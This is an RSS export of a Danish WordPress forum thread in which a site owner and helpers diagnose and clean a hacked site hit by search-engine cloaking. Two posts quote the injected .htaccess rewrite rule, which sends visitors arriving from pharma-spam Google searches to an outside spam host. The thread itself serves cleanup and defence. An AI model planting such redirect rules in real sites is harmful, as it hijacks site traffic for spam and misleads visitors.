WordPress DK Forum Topic: Hijacking?

WordPress DK Forum Topic: Hijacking? http://wp-danmark.dk/forum/topic/hijacking WordPress DK Forum Topic: Hijacking? da-DK Sun, 18 Oct 2026 16:30:09 +0000 http://bbpress.org/?v=1.0.1 <![CDATA[Søg]]> q http://wp-danmark.dk/forum/search.php Morten Knudsen om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39741 fre, 17 aug 2012 16:36:14 +0000 Morten Knudsen 39741@http://wp-danmark.dk/forum/ eventuelt skulle du tilmelde dine websites: sucuri.net De tager også sites ind der allerede ER inficeret og renser dem. Men det koster selvfølgelig. Mark Thomas Gazel om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39736 fre, 17 aug 2012 15:07:11 +0000 Mark Thomas Gazel 39736@http://wp-danmark.dk/forum/ Jeg har kikket lidt rundt og fundet noget snavs i index.php i nuværende tema. Så må jeg hellere skifte adgangskode for brugerne. Og andre koder. Hvad gør jeg med evt. snavs i db? Findes der en god cleaner eller lign. Mark Thomas Gazel om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39727 fre, 17 aug 2012 08:38:52 +0000 Mark Thomas Gazel 39727@http://wp-danmark.dk/forum/ Koden er fjernet og så må jeg hellere kontakte Wannafind og fortælle dem, at de har nogle problemer. Jesper Jarlskov om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39721 tors, 16 aug 2012 22:06:28 +0000 Jesper Jarlskov 39721@http://wp-danmark.dk/forum/ Ja, hvis du fjerner <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} (viagra|generic|cialis|online|drug|price|sildenafil|cheap|india|canad|prescription).* [NC] RewriteCond %{HTTP_REFERER} google.*[\?&]q=([^&]+) [NC] RewriteRule ^.*$ <a href="http://acaib.comsyhost.com/wordpress/?tds-key=%1" rel="nofollow">http://acaib.comsyhost.com/wordpress/?tds-key=%1</a> [NC,L] </IfModule> bør du have fjernet problemet midlertidigt (startende fra det tidspunkt hvor Google kommer og reindekserer dig). Men der er nogen der har haft adgang til enten din server, eller din WordPress installation, så at rydde op i .htacces er symptombehandling, det løser ikke det sikkerhedsproblem der tydeligvis har ramt dig. Jesna om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39720 tors, 16 aug 2012 21:53:18 +0000 Jesna 39720@http://wp-danmark.dk/forum/ Jeg mener man bare sletter det i htaccess og så er den fixet Jesna om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39719 tors, 16 aug 2012 21:52:20 +0000 Jesna 39719@http://wp-danmark.dk/forum/ Den ska se sådan her ud # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress og husk at chmod er 644 Mark Thomas Gazel om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39716 tors, 16 aug 2012 19:57:56 +0000 Mark Thomas Gazel 39716@http://wp-danmark.dk/forum/ Ja, der er noget i .htaccess: # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} (viagra|generic|cialis|online|drug|price|sildenafil|cheap|india|canad|prescription).* [NC] RewriteCond %{HTTP_REFERER} google.*[\?&]q=([^&]+) [NC] RewriteRule ^.*$ <a href="http://acaib.comsyhost.com/wordpress/?tds-key=%1" rel="nofollow">http://acaib.comsyhost.com/wordpress/?tds-key=%1</a> [NC,L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress Det er jo nok det med kursiv, der er problemet. Er der en smart måde at rydde op på? Jesper Jarlskov om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39713 tors, 16 aug 2012 18:06:47 +0000 Jesper Jarlskov 39713@http://wp-danmark.dk/forum/ Det ligner umiskendeligt noget cloaking. Nogen har hacket sitet, og lagt kode ind der viser en alternativ version af sitet til Google. Du skal altså i gang med en større oprydning af hele kodebasen samt databasen. Jesna om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39709 tors, 16 aug 2012 16:53:43 +0000 Jesna 39709@http://wp-danmark.dk/forum/ Har du kigget i htaccess? Mark Thomas Gazel om "Hijacking?" http://wp-danmark.dk/forum/topic/hijacking#post-39708 tors, 16 aug 2012 16:34:59 +0000 Mark Thomas Gazel 39708@http://wp-danmark.dk/forum/ Kan nogen forklarer, hvorfor Google har indekseret puppetfestival.dk således? <a href="https://www.google.dk/search?q=puppetfestival&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:da:official&client=firefox-a" rel="nofollow">https://www.google.dk/search?q=puppetfestival&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:da:official&client=firefox-a</a> Der er ikke noget i koden, så vidt jeg kan se.